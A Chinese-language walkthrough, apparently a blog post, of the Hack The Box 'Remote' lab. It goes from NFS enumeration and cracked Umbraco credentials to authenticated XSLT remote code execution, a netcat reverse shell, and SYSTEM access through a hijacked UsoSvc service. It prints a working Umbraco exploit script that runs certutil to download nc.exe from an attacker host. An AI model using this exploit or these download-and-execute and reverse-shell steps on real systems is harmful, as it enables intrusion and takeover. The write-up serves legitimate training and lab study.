目录

简介

信息收集

漏洞发现

漏洞利用

权限提升

总结


简介

这是一个简单的Windows Server 2019靶机,要成功获得SYSTEM权限需要不懈的尝试。通过浏览Web站点发现Umbraco CMS登录入口,然后在2049端口发现NFS服务并发现共享文件夹,在共享文件夹中发现了Umbraco CMS的版本信息、用户名和密码,然后可以登录CMS系统,利用已知的远程代码执行漏洞反弹Shell,通过枚举运行的服务发现不安全的服务权限,最后通过修改服务调用的程序获得SYSTEM权限。

信息收集

使用Nmap扫描目标主机发现目标主机开启21,80,111,135,139和445端口,且操作系统极有可能是Windows Server 2012,如图:

尝试使用匿名用户登录ftp成功,如图:

但是没发现任何文件,访问80端口发现网站中有一些博客,如图:

查看网站的同时扫描web目录,发现一些aspx文件,如图:

然而并没用什么有用的信息,然后继续浏览网站其他功能,点击CONTACT按钮后发现一个Umbraco Forms安装的界面,如图:

点击按钮之后跳转到了登录页面,如图:

尝试常见弱口令无法登录成功,枚举用户名和密码也没成功。使用Google搜索该CMS发现存在用户名枚举、文件上传、远程代码执行和文件包含等漏洞,但需要知道用户名和密码。然后查看Nmap扫描结果发现111端口挂载了NFS服务,使用showmount查看目标主机NFS共享的文件夹,发现存在everyone可访问的/site_backups文件夹,然后将其挂载到本地,如图:

查看site_backups文件夹中的信息,查看Web.conf文件发现Umbraco版本信息、使用的数据库信息和smtp的用户名和密码,如图:

在/site_backups/App_Data下发现Umbraco.sdf文件,SqlServerCe文件,复制到Windows环境中使用CompactView等工具查看无果。然后在site_backups/App_Data/Logs下的UmbracoTraceLog.intranet.txt中发现两个用户成功登录,如图:

然后在UmbracoTraceLog.intranet.txt.2020-02-19中再次发现版本信息,如图:

直接使用记事本打开Umbraco.sdf文件,查找admin@htb.local和ssmith@htb.local,发现有字符串疑似经过SHA1和HMACSHA256算法生成的hash值,如图:

使用在线MD5解密,如图:

然后使用admin@htb.local和baconandcheese登录Umbraco CMS,如图:

漏洞发现

从前面收集到的信息可以发现可以利用远程代码执行漏洞,需要修改payload替换calc.exe为cmd.exe,添加程序参数为/c wget http://10.10.14.216/nc.exe c:\windows\temp\nc.exe,然而并未执行成功,使用curl、certutil也都未成功。尝试手工验证漏洞是否存在,访问http://10.10.10.180/umbraco/developer/Xslt/xsltVisualize.aspx,如图:

点击绿色按钮,用BurpSuite截取数据包,添加参数ctl00$body$xsltSelection的值为修改后的payload,添加Console.WriteLine(output)将执行后的结果输出到网页中,如图:

执行之后成功返回执行的结果,如图:

看来漏洞是存在的。

漏洞利用

然后修改Exp如下:

# Exploit Title: Umbraco CMS - Remote Code Execution by authenticated administrators
# Dork: N/A
# Date: 2019-01-13
# Exploit Author: Gregory DRAPERI & Hugo BOUTINON
# Vendor Homepage: http://www.umbraco.com/
# Software Link: https://our.umbraco.com/download/releases
# Version: 7.12.4
# Category: Webapps
# Tested on: Windows IIS
# CVE: N/Aimport requests;from bs4 import BeautifulSoup;def print_dict(dico):print(dico.items());print("Start");# Execute a calc for the PoC
payload = """<?xml version="1.0"?>
<xsl:stylesheet version="1.0" xmlns:xsl="http://www.w3.org/1999/XSL/Transform" xmlns:msxsl="urn:schemas-microsoft-com:xslt" xmlns:csharp_user="http://csharp.mycompany.com/mynamespace">
<msxsl:script language="C#" implements-prefix="csharp_user">
public string xml()
{ string cmd = "/c certutil -urlcache -split -f http://10.10.14.216/nc.exe c:/windows/temp/nc.exe"; System.Diagnostics.Process proc = new System.Diagnostics.Process();proc.StartInfo.FileName = "cmd.exe"; proc.StartInfo.Arguments = cmd;proc.StartInfo.UseShellExecute = false; proc.StartInfo.RedirectStandardOutput = true; proc.Start(); string output = proc.StandardOutput.ReadToEnd(); return output;Console.WriteLine(output); } </msxsl:script>
<xsl:template match="/">
<xsl:value-of select="csharp_user:xml()"/></xsl:template>
</xsl:stylesheet> """;login = "admin@htb.local";
password="baconandcheese";
host = "http://10.10.10.180";# Step 1 - Get Main page
s = requests.session()
url_main =host+"/umbraco/";
r1 = s.get(url_main);
print_dict(r1.cookies);# Step 2 - Process Login
url_login = host+"/umbraco/backoffice/UmbracoApi/Authentication/PostLogin";
loginfo = {"username":login,"password":password};
r2 = s.post(url_login,json=loginfo);# Step 3 - Go to vulnerable web page
url_xslt = host+"/umbraco/developer/Xslt/xsltVisualize.aspx";
r3 = s.get(url_xslt);soup = BeautifulSoup(r3.text, 'html.parser');
VIEWSTATE = soup.find(id="__VIEWSTATE")['value'];
VIEWSTATEGENERATOR = soup.find(id="__VIEWSTATEGENERATOR")['value'];
UMBXSRFTOKEN = s.cookies['UMB-XSRF-TOKEN'];
headers = {'UMB-XSRF-TOKEN':UMBXSRFTOKEN};
data = {"__EVENTTARGET":"","__EVENTARGUMENT":"","__VIEWSTATE":VIEWSTATE,"__VIEWSTATEGENERATOR":VIEWSTATEGENERATOR,"ctl00$body$xsltSelection":payload,"ctl00$body$contentPicker$ContentIdValue":"","ctl00$body$visualizeDo":"Visualize+XSLT"};# Step 4 - Launch the attack
r4 = s.post(url_xslt,data=data,headers=headers);
soup = BeautifulSoup(r4.text, 'html.parser');
print(soup.find(id="result"))
print("End");

使用python3开启80端口的监听,运行脚本后命令执行成功,成功将nc.exe上传到目标主机c:\windows\temp下,如图:

然后在本地开启4444端口监听,修改payload中的参数,如图:

执行脚本之后成功获得反弹的Shell,如图:

权限提升

查看操作系统信息发现是Windows Server 2019 x64,且安装了5个补丁,暂且不考虑内核漏洞提权了,如图:

然后查看当前用户的权限,如图

由于JuicyPotato没有Windows Server 2019的CLSID,因此无法利用其提权。使用wmic service where started=true get name, startname查看启动的服务,如图:

然后使用sc命令枚举存在缺陷的服务,发现UsoSvc服务可以被当前用户控制,尝试修改binpath属性的值为反弹Shell的脚本,然后启动服务发生错误,如图:

尝试直接调用nc.exe进行反弹Shell发现成功启动服务依旧出现错误,但反弹Shell的命令被执行之后立即中断了,如图:

然后使用MSF生成反弹Shell的exe文件,如图:

上传执行之后依旧报错,但监听的端口成功获得SYSTEM权限的Shell,如图:

总结

总的来说该靶机非常简单,但依旧会花费很多时间,也可能会在一些地方找不到思路。首先,有些人可能容易找不到CMS系统的用户名和密码,读取sdf文件的数据花了点时间,没想到可以使用最简单的方法查看到文件中有效的内容。其次就是提权需要大量枚举,一定要坚持下去。

Hack The Box——Remote相关推荐

  1. Hack The Box - Starting Point - TIER 0

    Hack The Box - Starting Point - TIER 0 Meow TASK 1 What does the acronym VM stand for? 首字母缩略词 VM 代表什 ...

  2. 【Hack The Box】linux练习-- SneakyMailer

    HTB 学习笔记 [Hack The Box]linux练习-- SneakyMailer

  3. Hack The Box - Access Writeup

    第一次尝试Hack The Box,在难度较低的Access上,前后花了有两天的时间,汗.收获还是很大,在此记录一下,以便后阅. 首先是获取user,通过nmap扫描,可以发现目标主机开了三个端口21 ...

  4. Hack The Box - Meta 利用Exiftool远程代码执行漏洞获取webshell,ImageMagrick命令执行漏洞横向提权,更改环境配置SUDO纵向提权

    Hack The Box - Meta Hack The Box开始使用流程看这篇 文章目录 Hack The Box - Meta 整体思路 1.Nmap扫描 2.Exiftool远程代码执行漏洞( ...

  5. 【Hack The Box】linux练习-- Blunder

    HTB 学习笔记 [Hack The Box]linux练习-- Blunder

  6. Hack The Box - Catch 利用let chat API查询信息,Cachet配置泄露漏洞获取ssh登录密码,apk代码注入漏洞利用获取root权限

    Hack The Box-Catch Hack The Box开始使用流程看这篇 文章目录 Hack The Box-Catch 整体思路 1.Nmap扫描 2.apk文件信息收集 3.lets ch ...

  7. 【Hack The Box】windows练习-- Silo

    HTB 学习笔记 [Hack The Box]windows练习-- Silo

  8. 【Hack The Box】linux练习-- Ophiuchi

    HTB 学习笔记 [Hack The Box]linux练习-- Ophiuchi

  9. 【Hack The Box】linux练习-- Doctor

    HTB 学习笔记 [Hack The Box]linux练习-- Doctor

最新文章

  1. 2017年新年问候-组内
  2. 进程间通信——自定义消息方式实现(SetWindowsHookEx)
  3. Android 通过Uri获取Bitmap对象
  4. python简单网络爬虫_【Python】简单的网络爬虫
  5. 数学--数论--素数
  6. 那些上海滩的金融传奇,或许都开始于一份PPT
  7. 统计list里面相同元素个数_LeetCode 第 347 号问题:前 K 个高频元素
  8. [python]用pywin32库实现鼠标键盘自动控制
  9. pygtk在windows的安装
  10. 曝华为新成立10大预备军团;被罚2500万欧元,苹果开放第三方支付;GitLab 14.8发布 | 极客头条...
  11. 【转】FluentAPI详细用法
  12. Vb中 继承 多态的实现
  13. 不知道免费去水印图片软件哪个好?来看看这3个软件
  14. 移动服务器连接响应慢,移动打开网页速度慢的解决方法
  15. 蓝桥杯 试题 B: 纪念日
  16. 110配线架打法图解_「干货」图文并茂教会你110语音配线架线缆打法
  17. 爆款小程序是怎么炼成的
  18. java 文字串叠字检查_逆天叠字又来了!这次是五叠!六叠!八叠字!字字突破你的想象!...
  19. java的clone你知道多少?
  20. Libre OJ P2332「JOI 2017 Final」焚风现象【差分思想】By cellur925

热门文章

  1. 联想笔记本查看电池寿命、近期用电情况和续航估计报告
  2. 美通企业日报 | 中国最佳创新公司50名榜单发布;柯锐世全新亚洲总部在上海启用...
  3. floor ceil fract 函数的区别
  4. centOS 7 安装可视化用户界面
  5. Springboot中cache的使用
  6. Java 输出杨辉三角
  7. Maven之(九)依赖关系
  8. JQuery ----Reset()方法
  9. 神经网络与深度学习一 :介绍深度学习
  10. java 交流群 14187321 欢迎java爱好者参与